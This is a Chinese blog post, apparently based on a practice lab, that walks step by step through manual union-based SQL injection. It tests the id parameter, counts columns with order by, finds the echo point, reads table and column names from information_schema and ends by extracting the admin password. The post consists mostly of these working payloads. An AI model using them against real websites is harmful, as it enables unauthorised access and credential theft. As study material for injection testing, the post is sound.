domb

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理
  15 随笔 :: 0 文章 :: 4 评论 :: 22707 阅读

第一步:先查看是否存在注入点:构造?id=1 and 1=1

回车后发现页面正常

 

 

 

 

 

构造?id=1 and 1=2 

发现页面异常,得出结论:存在注入点

 

 

 

 

第二步:判断字段数

当输入order by 1和order by 2时页面都显示正常

 

 

 

 

 

 

 

 

当输入order by 3时,页面发生了异常

说明字段数为2

 

 

 

 

 

 

 

第三步:判断回显点

构造?id=1 and 1=2 union select 1,2   发现下面显示的是数字 “2” 说明在返显点在数字2的位置

 

 

 

 

 

 

第四步:查询相关内容

查询数据库名:and 1=2 union select 1,database()  ,得到结果为mashe

 

 

 

 

 

 

查询表名:and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

得到结果:admin

 

 

 

 

 

 

查询字段名:(在admin表中查询)and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

第一个字段名为 id

 

 

 

第二个字段为username

 

 

 

 

 

 

 

 

 

第三个字段名为password

 

 

 

 

 

 

 

继续查询字段内容

查询用户名

 

 

 

 

 

这里查询第二排 limit 1,1发现没有正经用户,所以只有admin一个用户

 

 

 

 

 

 

 

查询admin用户的密码: and 1=2 union select 1,password from admin

得到最终结果 hellohack

 

posted on   domb  阅读(272)  评论(2编辑  收藏  举报
编辑推荐:
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示